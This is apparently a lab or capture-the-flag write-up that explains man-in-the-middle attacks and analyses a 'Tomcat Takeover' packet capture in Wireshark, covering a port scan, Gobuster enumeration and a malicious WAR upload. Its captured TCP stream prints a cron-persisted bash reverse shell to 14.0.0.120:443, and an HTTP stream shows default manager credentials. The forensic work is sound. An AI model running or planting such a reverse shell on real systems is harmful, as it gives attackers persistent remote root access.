

I. Theoretical threat analysis: **Man-in-the-middle attack**

Definition

A man-in-the-middle attack is executed by forcing network traffic between two network endpoints (i.e. a client and a server) to pass through an attacker-controlled system. The attacker doesn't have to necessarily break the communication but instead maintains a hidden position where he can intercept and modify packets while maintaining stable connection. NB: MITM acronym has also been attributed to meet-in-the-middle attack, which is a cryptographic attack and not at all the same concept as man-in-the-middle.

Relevance to OSI model

MITM attacks don't conform to specific protocol or layer on the OSI model. In most cases, the attack begins at layers 2 and 3 to gain traffic access and is then extended to higher layers to extract intel or manipulate data.

The following describes a common MITM attack scenario on a poorly secured LAN, such as a public Wi-Fi hotspot, using ARP spoofing and traffic interception.

Step 1: Network Positioning (OSI Layer 2 – Data Link Layer)

The attacker first gains access to the same network as the victim (i.e. via public Wi-Fi) so both the victim and the gateway unwittingly send their traffic to the attacker. Using ARP spoofing, the attacker sends bogus ARP replies:

1. To the victim, claiming the attacker's MAC address belongs to the default gateway
2. To the gateway, claiming the attacker's MAC address belongs to the victim

Protocols involved: ARP and Ethernet & Wi-Fi (802.11)

Step 2: Traffic Redirection (OSI Layers 2–3)

The attacker enables packet forwarding so traffic continues to flow normally and the attacker can observe all packets without being spotted.

This creates the following relay:

Victim → Attacker → Gateway → Server

Server → Gateway → Attacker → Victim

Protocols involved. IP & ICMP

Step 3: Session Hijacking (OSI Layers 4–5)

When the traffic is flowing through the attacker, the connection can be watched, cookies can be extracted, session can be hijacked via sequence number prediction. This allows impersonation of authenticated users.

Protocols involved: TCP/UDP, session cookies

Step 4: Encryption Downgrade (OSI Layer 6 – Presentation Layer)

If HTTPS is used, the attacker may introduce one of the steps below to force decryption so that the traffic can be read in plaintext:

- SSL stripping (forcing HTTP instead of HTTPS)
 - TLS downgrade attacks
 - Fake certificate enforcement
 - Acting as a TLS proxy
- Protocols involved: SSL / TLS & cryptographic algorithms (RSA, AES)

Step 5: Data Manipulation (OSI Layer 7)

This illustrates the final stage of attacker's communication takeover. With data in plaintext, the attacker can affect it in multiple ways.

- Steal credentials (HTTP, FTP, SMTP)
- Inject bogus scripts and ads
- Modify HTTP headers
- Redirect users to infected websites
- Intercept emails or DNS queries

Protocols involved: HTTP and HTTPS, DNS, FTP, SMTP, POP3 / IMAP, SSH

What position/access does the attacker need?

The attacker must be in the position to intercept and manipulate traffic. This can be achieved in one of the following:

1. **LAN:** the attacker must be connected to the same LAN such as public Wi-Fi, corporate or school network or home network.
2. **Rogue access point:** The attacker may introduce a fake/ malicious network into the ether (known better as “evil twin”), often mirroring the name of the physical place especially where public access is vast and arbitrary (“Terminal 2 Hotspot”, “Starbucks Wi-Fi”, “Library Guest”), asking for no password. Optionally the attacker might already have compromised the interface of the original network, in which case the connection routes through jeopardised router or proxy.
3. **Physical access.** Often not taken seriously enough in the context of MITM attacks and concerning OSI Layer 1 access and passive traffic capture. Examples of such attacks include radio signal relays from keyless car fobs, direct fiber cable access and port manipulation.
4. **Network infrastructure:** In the case of more sophisticated attacks an attacker needs a long term stealthy access to the organisation’s network system which can be achieved through compromised endpoints, supply-chain access or social engineering. In contrast with opportunistic attacks the perpetrators maintain a persistent existence within the organisation’s network infrastructure often moving laterally. This type of attacks revolves around global threats either commercial or geopolitical within the context of APT (*Imperva*).

What vulnerabilities are being exploited?

1. Outdated encryption standards or insufficient encryption
Example: HTTP instead of HTTPS, retired crypto algorithms (i.e. DES but even RSA is vulnerable), FTP, Telnet, POP3 without encryption
2. Trust based protocols
Example: ARP doesn’t authenticate responses, ICMP accepts redirect messages, DNS does not verify requests without DNSSEC
3. Certificate vulnerability
Example: Self-assigned certificates that cannot be verified and can break TLS encryption.
4. Session handling
Example: Cookies with long expiration times, transmitted from and back to the server over HTTP, no SameSite attribute that prevents the cookie request from being sent from an illegitimate website
5. Human Error
Example: People ignoring certificate warning, connecting to dodgy networks, failing to verify HTTPS connections, sending sensitive data over unprotected networks, most importantly people falling victim to social engineering.

What can the attacker achieve and what damage can it cause for an organization?

A successful MITM attack provides the attacker with the significant control over the network and information. Being in a position of an insidious actor who can monitor the traffic in real time while under the radar gives the attacker enormous power to collect nearly inexhaustible amount of data such as passwords, usernames, login details, personal information, client information, session cookies and a wide array of information regarding the business and operations itself such as investment and financial details, strategies, intellectual property, trade secrets etc. A more profound scenario will have an attacker go beyond just watching traffic and actively manipulate both traffic and data instead by injecting malicious payloads, altering transmitted data, redirecting users to malicious services, or impersonating trusted servers and users.

The real problem arises of how data monitoring, manipulation and stealing can damage the company and how benign the intentions of the attacker is. Even if the attacker doesn’t immediately seek to disrupt services or extract data, the mere ability of overwatching details of network communication is corrosive to the integrity and the morale of the organisation. Continuous exposure builds up an understanding of business strategies, employee behavioural patterns, authentication mechanisms and systemic weaknesses. Such knowledge can be later exploited and used to conduct more structured and targeted attacks.

Furthermore data manipulation carries a particularly dangerous risk of developing into other forms of criminal activity. By manipulating information such as financial data, system logs, configuration updates, or API responses can influence

operational decisions that may result in incorrect reporting, flawed analytics, or misinformed management decisions, leading to financial losses or regulatory non-compliance that appear to originate from internal failures. In addition, stolen credentials can be used to impersonate legitimate users, sometimes unravelling through social engineering attempts.

Another point is that data obtained through MITM attacks is often monetized through underground markets, where stolen credentials, session tokens, corporate communications, and proprietary data are sold on darknet forums or used for corporate espionage, insider trading, and competitive intel gathering. All the above can result in reputational damage, loss of client and partner trust, legal consequences essentially eroding the organisation's reliability and confidentiality from the inside.

II. Wireshark Analysis: Tomcat Takeover

What IP addresses are involved?

What to do: (On Wireshark) Statistics → Conversations → IPV4 (screenshot 1)

Wireshark · Conversations · web server.pcap											
Ethernet · 6	IPV4 · 6	TCP · 9465									
Address A	Address B	Packets	Bytes	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A	Rel Start	Duration	Bits/s A → B	Bits/s B → A
10.0.0.105	10.0.0.255	2	545 bytes	2	545 bytes	0	0 bytes	493.911482	0.0000		
10.0.0.106	224.0.0.251	1	160 bytes	1	160 bytes	0	0 bytes	494.557169	0.0000		
10.0.0.115	10.0.0.105	136	25 kB	81	11 kB	55	14 kB	0.000000	25.4627	3,612 bits/s	4,308 bits/s
10.0.0.115	10.0.0.112	1,323	378 kB	769	73 kB	554	305 kB	38.173201	832.4581	701 bits/s	2,933 bits/s
10.0.0.115	224.0.0.251	1	87 bytes	1	87 bytes	0	0 bytes	773.422883	0.0000		
14.0.0.120	10.0.0.112	19,607	2 MB	9,776	611 kB	9,831	931 kB	346.031483	395.1127	12 kbps	18 kbps

Interpretation:

- 1) 10.0.0.xxx: private IPv4 addresses as per RFC 1918, they belong to the LAN
- 2) 10.0.0.255: broadcast address. Two packets sent, meaning the host is broadcasting to all devices on the subnet. This behaviour can be attributed to network or service discovery or be ARP-related.
- 3) 224.0.0.251 (10.0.0.106 → 224.0.0.251 and 10.0.0.115 → 224.0.0.251): mDNS (multicast DNS) defined in RFC 6762. One packet in that direction means benign service discovery
- 4) 10.0.0.115 → 10.0.0.105: 136 packets sent indicates hosts communicating with each other = normal behaviour
- 5) 10.0.0.115 → 10.0.0.112: over 1000 packets sent indicates heavy communication between two hosts on the LAN
- 6) 14.0.0.120 → 10.0.0.112: 14.0.0.120 is an external IP communicating heavily with an internal host. Extreme packet count yields this communication as a primary candidate for deeper analysis.

Which time period does the capture cover?

What to do: Statistics → Capture File Properties (screenshot 2)

Time	
First packet:	2023-09-10 20:13:06
Last packet:	2023-09-10 20:27:37
Elapsed:	00:14:30

The time between first and last packet is 14'30"

What are the protocols?

What to do: Statistics → Protocol Hierarchy (screenshot 3)

Protocol	Percent Packets	Packets	Percent Bytes	Bytes	Bits/s	End Packets	End Bytes	End Bits/s	PDUs
Frame	100.0	21070	100.0	1946611	17 k	0	0	0	21070
Ethernet	100.0	21070	19.0	370412	3,403	0	0	0	21070
Internet Protocol Version 4	100.0	21070	21.6	421400	3,872	0	0	0	21070
User Datagram Protocol	0.0	4	0.0	32	0	0	0	0	4
NetBIOS Datagram Service	0.0	2	0.0	461	4	0	0	0	2
SMB (Server Message Block Protocol)	0.0	2	0.0	297	2	0	0	0	2
SMB MailSlot Protocol	0.0	2	0.0	50	0	0	0	0	2
Microsoft Windows Browser Protocol	0.0	2	0.0	125	1	2	125	1	2
Multicast Domain Name System	0.0	2	0.0	163	1	2	163	1	2
Transmission Control Protocol	100.0	21066	59.3	1154143	10 k	20112	943132	8,666	21066
SSH Protocol	2.8	588	2.1	40568	372	588	40568	372	588
NetBIOS Session Service	0.5	104	0.8	16219	149	0	0	0	104
SMB2 (Server Message Block Protocol version 2)	0.5	104	0.8	15803	145	102	15585	143	104
Data	0.0	2	0.0	58	0	2	58	0	2
Hypertext Transfer Protocol	1.2	258	31.4	610985	5,614	137	32785	301	258
Portable Network Graphics	0.0	5	0.6	12238	112	5	12238	112	5
MIME Multipart Media Encapsulation	0.0	1	0.1	1324	12	1	1324	12	1
Media Type	0.0	2	1.2	22898	210	2	22898	210	2
Line-based text data	0.5	104	23.7	461425	4,239	104	461425	4,239	104
eXtensible Markup Language	0.0	2	2.5	47721	438	2	47721	438	2
CompuServe GIF	0.0	7	0.4	7596	69	7	7596	69	7
Data	0.0	4	0.0	158	1	4	158	1	4

Protocols listed in the exchange are: IP, UDP, NetBIOS, SMB2, TCP, SSHv2. HTTP, proprietary Wireshark protocols
Most relevant to the analysis: IP, HTTP and TCP

Signs of harmful activity

Ethernet · 6	TCP · 9465	UDP · 3	
Address A ▾	Port A	Address B	Port B
14.0.0.120	51985	10.0.0.112	6901
14.0.0.120	51985	10.0.0.112	8585
14.0.0.120	51985	10.0.0.112	670
14.0.0.120	51985	10.0.0.112	5579
14.0.0.120	51985	10.0.0.112	7403
14.0.0.120	51985	10.0.0.112	4314
14.0.0.120	51985	10.0.0.112	3738
14.0.0.120	51985	10.0.0.112	4161
14.0.0.120	51985	10.0.0.112	2780
14.0.0.120	51985	10.0.0.112	382
14.0.0.120	51985	10.0.0.112	1421
14.0.0.120	51985	10.0.0.112	5764
14.0.0.120	51985	10.0.0.112	845
14.0.0.120	51985	10.0.0.112	7286
14.0.0.120	51985	10.0.0.112	3277
14.0.0.120	51985	10.0.0.112	789
14.0.0.120	51985	10.0.0.112	6966
14.0.0.120	51985	10.0.0.112	5567
14.0.0.120	51985	10.0.0.112	2605
14.0.0.120	51985	10.0.0.112	4680
14.0.0.120	51985	10.0.0.112	8214
14.0.0.120	51985	10.0.0.112	2383
14.0.0.120	51985	10.0.0.112	4387
14.0.0.120	51985	10.0.0.112	4942
14.0.0.120	51985	10.0.0.112	7434
14.0.0.120	51985	10.0.0.112	9133
14.0.0.120	51985	10.0.0.112	8348
14.0.0.120	51985	10.0.0.112	7570
14.0.0.120	51985	10.0.0.112	3803
14.0.0.120	51985	10.0.0.112	7554
14.0.0.120	51985	10.0.0.112	1400
14.0.0.120	51985	10.0.0.112	1707
14.0.0.120	51985	10.0.0.112	67
14.0.0.120	51985	10.0.0.112	6056
14.0.0.120	51985	10.0.0.112	5528
14.0.0.120	51985	10.0.0.112	6784
14.0.0.120	51985	10.0.0.112	5473
14.0.0.120	51985	10.0.0.112	6172
14.0.0.120	51985	10.0.0.112	3557
14.0.0.120	51985	10.0.0.112	361
14.0.0.120	51985	10.0.0.112	6516

- Large packet transmission as illustrated in point 1. By default DDoS, port scans, brute-force attempts, malware beaoning is associated with unusually high volumes of packets sent to either overwhelm the system, probe for weakness or unauthorised access.

- Random external IP. The “14.0.0.120” IP wasn’t a part of an existing connection, bypassing normal connection expectations and initiating an unsolicited inbound connection that the firewalls or IDS should detect.

- Multiple ports in use from single IP to single host.

Statistics → Conversations → TCP/UDP shows hundreds of different ports being probed against from IP 14.0.0.120 to 10.0.0.112 suggesting port scanning where external host probes open ports to discover which services are open.

The screenshot on the left (4) (acquired through Statistics → Conversations → TCP) illustrates TCP SYN packets sent to many ports in a relatively short time (under 15 minutes). The ports aren’t repeated meaning that this is a “nudge” action intending to check the availability of the port and service that’s attributed to it. Consistent amount of 2 packets are sent in a short, repeated, and even time interval, under several milliseconds, meaning that this probing action is almost certainly conducted by an automated tool or script. In addition there is lack of completed TCP handshake and concrete data exchange following initial packets. In legitimate connections the successful exchange is typically followed by application-layer traffic which doesn’t happen here suggesting that the intent was discovery rather than communication.

- in-depth packet analysis shows that after discovering an open port, the attacker sends automated html code with GET requests to known paths like /manager or /docs or dirs containing sensitive data like /examples/jsp/index.html. The

access query is made in sequential order such as /docs, /docs/config, /examples, /examples/jsp etc suggesting that this is a scripted probing approach rather than a real GET request.

- the user agent usually attributed to a web browser like Mozilla is listed as Gobuster, which is a known reconnaissance and brute force enumeration tool

- html code probes various entry options rather than sends a direct authentication request. This indicates a repeated “chancer” approach rather than an legitimate http query. Similarly GET requests had been made without prior login.

- **http.request.method == POST** filter yields a result where a rogue file gets uploaded on the server via manager directory on port 8080 (screenshot 5)

```
Wireshark · Follow HTTP Stream (tcp.stream eq 9460) · web server.pcap

POST /manager/html/upload;jsessionid=0DE586F27B2F48D0CA045F731E0E9E71?org.apache.catalina.filters.CSRF_NONCE=83EDF4E2462ECC725BAF342DD7A4
6974 HTTP/1.1
Host: 10.0.0.112:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.112:8080/manager/html
Content-Type: multipart/form-data; boundary=-----309854885940911807712888696060
Content-Length: 1324
Origin: http://10.0.0.112:8080
Authorization: Basic YWRtaW46dG9tY2F0
Connection: keep-alive
Cookie: JSESSIONID=0DE586F27B2F48D0CA045F731E0E9E71
Upgrade-Insecure-Requests: 1

-----309854885940911807712888696060
Content-Disposition: form-data; name="deployWar"; filename="JXQOZY.war"
Content-Type: application/octet-stream
```

A successful POST that transfers the file indicates that the attacker has located an exposed directory (/manager) and is placing payload on the system. Additionally the analysis unveils port 8080 as the vulnerable access point. Port 8080 is attributed to Tomcat service and HTTP-like traffic. Overall, three above-mentioned pieces of information undeniably confirm direct host compromise. The file uploaded on an administrative account, lets the attacker execute the code to act accordingly with its vicious intent. Finding this uploaded file in the packet capture is a smoking gun, providing concrete evidence that the attack has progressed from passive enumeration to active exploitation.

- **ip.src == 10.0.0.112 && ip.dst != 10.0.0.0/8** is a filter to monitor outbound connection from the infected host outside of LAN subnet. It shows a number of outbound connection attempts have been made as a result of the compromise. Here is why this is worth checking: once the hosts becomes compromised it often initiates multiple outbound connections to establish C2 (Command and Control) communications, which often happens through reverse shell where automated connection requests and instructions are stored. This way the attacker has an nearly indefinite access to the corporation's LAN where he can exfiltrate and manipulate data, move laterally and compromise more hosts wrecking havoc every which way.

- final packet capture shows back and forth SSHv2 communication between two hosts on LAN (10.0.0.115 and 10.0.0.112, which is the infected host). That would suggest an attempt to access another computer through SSH, known otherwise as lateral movement, although analysis of the TCP stream shows legitimate attempt to connect. Without proof of the damage it may be impossible to know for sure if SSH activity is genuinely connected to the attack. (screenshot 6)

26702	2023-09-10	20:26:09.914747	10.0.0.115	10.0.0.112	TCP	-- 46668 -- 22 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=3570337900 TSecr=0 WS=128
26703	2023-09-10	20:26:09.914973	10.0.0.112	10.0.0.115	TCP	-- 22 -- 46668 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=1725879848 TSecr=1725879848
26704	2023-09-10	20:26:09.915154	10.0.0.115	10.0.0.112	TCP	-- 46668 -- 22 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=3570337981 TSecr=1725879848
26705	2023-09-10	20:26:09.915480	10.0.0.115	10.0.0.112	SSHv2	-- Client: Protocol (SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.3)
26706	2023-09-10	20:26:09.915649	10.0.0.112	10.0.0.115	TCP	-- 22 -- 46668 [ACK] Seq=1 Ack=42 Win=65152 Len=0 TSval=1725879849 TSecr=3570337981
26707	2023-09-10	20:26:09.927172	10.0.0.112	10.0.0.115	SSHv2	-- Server: Protocol (SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.3)
26708	2023-09-10	20:26:09.927317	10.0.0.115	10.0.0.112	TCP	-- 46668 -- 22 [ACK] Seq=42 Ack=42 Win=64256 Len=0 TSval=3570337993 TSecr=1725879860
26709	2023-09-10	20:26:09.928696	10.0.0.112	10.0.0.115	SSHv2	-- Server: Key Exchange Init
26710	2023-09-10	20:26:09.928861	10.0.0.115	10.0.0.112	TCP	-- 46668 -- 22 [ACK] Seq=42 Ack=1122 Win=64128 Len=0 TSval=3570337994 TSecr=1725879862
26711	2023-09-10	20:26:09.930370	10.0.0.115	10.0.0.112	IGMP	-- 46668 -- 22 [ACK] Seq=42 Ack=1122 Win=64128 Len=0 TSval=3570337994 TSecr=1725879862
26712	2023-09-10	20:26:09.930883	10.0.0.115	10.0.0.112	SSHv2	-- Client: Key Exchange Init
26713	2023-09-10	20:26:09.931068	10.0.0.112	10.0.0.115	TCP	-- 22 -- 46668 [ACK] Seq=1122 Ack=1546 Win=64128 Len=0 TSval=1725879864 TSecr=3570337996
26714	2023-09-10	20:26:09.932663	10.0.0.115	10.0.0.112	SSHv2	-- Client: Elliptic Curve Diffie-Hellman Key Exchange Init
26715	2023-09-10	20:26:09.938164	10.0.0.112	10.0.0.115	SSHv2	-- Server: Elliptic Curve Diffie-Hellman Key Exchange Reply, New Keys
26716	2023-09-10	20:26:09.944335	10.0.0.115	10.0.0.112	SSHv2	-- Client: New Keys
26717	2023-09-10	20:26:09.985927	10.0.0.112	10.0.0.115	TCP	-- 22 -- 46668 [ACK] Seq=1646 Ack=1610 Win=64128 Len=0 TSval=1725879919 TSecr=3570338010
26718	2023-09-10	20:26:09.986118	10.0.0.115	10.0.0.112	SSHv2	-- Client:
26719	2023-09-10	20:26:09.986221	10.0.0.112	10.0.0.115	TCP	-- 22 -- 46668 [ACK] Seq=1646 Ack=1654 Win=64128 Len=0 TSval=1725879919 TSecr=3570338052
26720	2023-09-10	20:26:09.986563	10.0.0.112	10.0.0.115	SSHv2	-- Server:
26721	2023-09-10	20:26:09.986773	10.0.0.115	10.0.0.112	SSHv2	-- Client:
26722	2023-09-10	20:26:09.982480	10.0.0.112	10.0.0.115	SSHv2	-- Server:
26723	2023-09-10	20:26:10.035634	10.0.0.115	10.0.0.112	TCP	-- 46668 -- 22 [ACK] Seq=1730 Ack=1742 Win=64128 Len=0 TSval=3570338100 TSecr=1725879925
26724	2023-09-10	20:26:12.951056	10.0.0.115	10.0.0.112	SSHv2	-- Client:
26725	2023-09-10	20:26:12.998173	10.0.0.112	10.0.0.115	TCP	-- 22 -- 46668 [ACK] Seq=1742 Ack=1878 Win=64128 Len=0 TSval=1725882931 TSecr=3570341017

What filters did you use to find it (and screenshots)

http.request.method == GET: this filter isolates the HTTP GET requests, which are used by a client to fetch resources and see which URL paths are being accessed such as web pages, scripts, images, or directories. In the security sense repetitive GET requests to multiple key paths indicate probing or enumeration behaviour especially if combined with other data.

The screenshot below (7) shows exactly the type of GET request that looks suspicious. First of all, the User-Agent defines Gobuster, a well known sniffing software as main operational tool. The GET queries test both random strings and an hypothetical directory (/examples/servlet) on Tomcat server. The 404 responses indicate that those resources don't exist on the server, however other packages confirm that various other paths exist (code 200).

same IP that was flagged as suspicious this means that the seed of this communication must already been sown somewhere on the host's system. Cron would be a "go-to" tool because it's automated so it can reconnect periodically to C2 control centre and is resistant to reboots of the host; cron jobs are also consistent with the practice of reverse shell scripting in bash (Medium). (screenshot 9)

```

Wireshark · Follow TCP Stream (tcp.stream eq 9461) · web server.pcap

whoami
root
cd /tmp
pwd
/tmp
echo " * * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'" > cron
crontab -i cron

crontab -l
 * * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'

```

Tcp.flags.syn == 1 and tcp.flags.ack == 0: shows TCP SYN packets that are not part of an established connection. In normal connection SYN is followed by SYN-ACK and ACK, however when extreme number of packets return no such thing, it indicates that an attacker may be doing reconnaissance. It is even more suspicious that all these requests come from a single IP. This filter visualises the port probing scenario shown earlier in screenshot 4.

tcp.flags.syn == 1 and tcp.flags.ack == 0									
No.	Time	Source	Soi Destination	Re Ho Protocol	Re De Len Info				
19844	346.726441	14.0.0.120	10.0.0.112	TCP	... 51985 - 8870 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19845	346.726442	14.0.0.120	10.0.0.112	TCP	... 51985 - 4788 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19846	346.726443	14.0.0.120	10.0.0.112	TCP	... 51985 - 5718 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19847	346.726445	14.0.0.120	10.0.0.112	TCP	... 51985 - 7791 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19848	346.726622	14.0.0.120	10.0.0.112	TCP	... 51985 - 4561 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19849	346.726626	14.0.0.120	10.0.0.112	TCP	... 51985 - 1009 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19854	346.726631	14.0.0.120	10.0.0.112	TCP	... 51985 - 5804 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19856	346.726633	14.0.0.120	10.0.0.112	TCP	... 51985 - 7878 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19867	346.726644	14.0.0.120	10.0.0.112	TCP	... 51985 - 2595 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19868	346.726645	14.0.0.120	10.0.0.112	TCP	... 51985 - 5153 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19869	346.726646	14.0.0.120	10.0.0.112	TCP	... 51985 - 6103 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19870	346.726646	14.0.0.120	10.0.0.112	TCP	... 51985 - 499 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19871	346.726770	14.0.0.120	10.0.0.112	TCP	... 51985 - 8254 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19872	346.726772	14.0.0.120	10.0.0.112	TCP	... 51985 - 321 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19873	346.726773	14.0.0.120	10.0.0.112	TCP	... 51985 - 1824 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19874	346.726774	14.0.0.120	10.0.0.112	TCP	... 51985 - 7698 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19875	346.726776	14.0.0.120	10.0.0.112	TCP	... 51985 - 8901 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19876	346.726777	14.0.0.120	10.0.0.112	TCP	... 51985 - 1469 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19877	346.726778	14.0.0.120	10.0.0.112	TCP	... 51985 - 8264 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19878	346.726779	14.0.0.120	10.0.0.112	TCP	... 51985 - 5131 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19880	346.726920	14.0.0.120	10.0.0.112	TCP	... 51985 - 6738 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19882	346.726922	14.0.0.120	10.0.0.112	TCP	... 51985 - 2219 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19897	346.726938	14.0.0.120	10.0.0.112	TCP	... 51985 - 2889 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19898	346.726939	14.0.0.120	10.0.0.112	TCP	... 51985 - 7682 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19899	346.726939	14.0.0.120	10.0.0.112	TCP	... 51985 - 6919 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19900	346.726940	14.0.0.120	10.0.0.112	TCP	... 51985 - 6518 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19901	346.727091	14.0.0.120	10.0.0.112	TCP	... 51985 - 6067 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19902	346.727094	14.0.0.120	10.0.0.112	TCP	... 51985 - 3554 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19903	346.727095	14.0.0.120	10.0.0.112	TCP	... 51985 - 7560 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19904	346.727097	14.0.0.120	10.0.0.112	TCP	... 51985 - 1935 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19905	346.727098	14.0.0.120	10.0.0.112	TCP	... 51985 - 3114 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19906	346.727099	14.0.0.120	10.0.0.112	TCP	... 51985 - 5867 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19907	346.727100	14.0.0.120	10.0.0.112	TCP	... 51985 - 6290 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19908	346.727101	14.0.0.120	10.0.0.112	TCP	... 51985 - 5609 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19909	346.727233	14.0.0.120	10.0.0.112	TCP	... 51985 - 130 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19910	346.727236	14.0.0.120	10.0.0.112	TCP	... 51985 - 1234 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19911	346.727237	14.0.0.120	10.0.0.112	TCP	... 51985 - 4146 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19912	346.727238	14.0.0.120	10.0.0.112	TCP	... 51985 - 4440 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19932	346.729379	14.0.0.120	10.0.0.112	TCP	... 51985 - 539 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19933	346.729384	14.0.0.120	10.0.0.112	TCP	... 51985 - 3777 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19934	346.729385	14.0.0.120	10.0.0.112	TCP	... 51985 - 2900 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19935	346.729386	14.0.0.120	10.0.0.112	TCP	... 51985 - 2324 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19936	346.729387	14.0.0.120	10.0.0.112	TCP	... 51985 - 1103 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19937	346.729388	14.0.0.120	10.0.0.112	TCP	... 51985 - 1272 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19938	346.729507	14.0.0.120	10.0.0.112	TCP	... 51985 - 1538 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19939	346.729510	14.0.0.120	10.0.0.112	TCP	... 51985 - 6558 [SYN] Seq=0 Win=1024 Len=0 MSS=1460				
19948	372.558339	14.0.0.120	10.0.0.112	TCP	... 37148 - 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SAC				
19977	372.636969	14.0.0.120	10.0.0.112	TCP	... 37162 - 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SAC				
19988	372.656584	14.0.0.120	10.0.0.112	TCP	... 37178 - 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SAC				
19989	372.656799	14.0.0.120	10.0.0.112	TCP	... 37190 - 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SAC				
19994	372.657235	14.0.0.120	10.0.0.112	TCP	... 37204 - 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SAC				

(screenshot 10)

In what order did the events take place?

1. Packets indicate normal traffic between hosts on the LAN. Nothing suspicious.
2. An external IP (14.0.0.120) initiates a bunch of unsolicited inbound connections and starts port scanning against a LAN host (10.0.0.112) looking for open services. Scan returns port 8080 as open.
3. Extreme amount of packets with various GET requests follow, consequently enumerating common and sensitive paths. Some are denied (404), some granted access (200).
4. Requests targeting administrative paths identify /manager directory as exposed
5. The attacker uploads a corrupt .war file into the server via /manager dir, which analysis shows with POST filter
5. The attacker plants a reverse shell on the server with Linux commands establish a root access and planting it into cron so as to preserve continuity and undetectability of the connection between himself and the victim.
6. Post-exploitation testing: the host makes outbound requests to access attacker's control center.
7. Possible lateral movement via SSH. The infected machine tries to contact another host on LAN via SSH. No proof of undesirable activity beyond normal SSH connection found.

How did the attacker proceed?

The attacker began with network recon, sending thousands of TCP SYN packets to an external IP to identify reachable services. The port scan revealed port 8080 as vulnerable. Upon successful open port detection the attacker moved on to application layer enumeration, issuing a high volume of GET requests to common Tomcat paths (/docs, /examples, /manager) as well as random paths using Gobuster. Upon gaining access to Tomcat Manager directory, the attacker went ahead and uploaded a .war file with malignant content via HTTP POST request. At this point, the attacker's actions stopped being about discovery and moved straight to offense. Following the file injection the attacker deployed a reverse shell granting himself an root access and forcing the host to perform outbound HTTPS connections to the attacker's IP via port 443, which would bypass firewall flags. To maintain continuity of his connection and to keep it under the radar, the crook linked the connection to crontab, where it would lie undetected and resistant to changes invoked by reboots and shutdown. At the end, the connection was tested as indicated by multiple outbound connection from victim's to attacker's IP. Lateral movement was indicated through SSH from victim's IP to another host in the LAN.

Indicators of compromise

1) IP addresses:

Attacker (ext): 14.0.0.120

Action: unsolicited inbound connections, port scanning, directory enumeration, exploitation, set C2 server for the reverse shell.

Victim (int): 10.0.0.112

Fully compromised, exposed route to Apache Tomcat Server.

Other internal hosts: e.g. 10.0.0.105, 10.0.0.115...

Normal LAN traffic, no direct evidence of hacking.

Possible lateral movement to 10.0.0.115 from affected host but no further evidence of malevolence.

2) Ports

8080/TCP: Open Apache Tomcat service used as the primary attack vector.

443/TCP (outbound): Used by the reverse shell to establish a link to the attacker, likely chosen to blend in with other HTTPS traffic.

Multiple ephemeral ports:

Observed during reconnaissance, indicating port scanning activity from the attacker.

3) Websites

Other than links related directly to Tomcat, enmeshed in the HTML code there is no websites participating in the attack
(Medium)

Pattern of behaviour

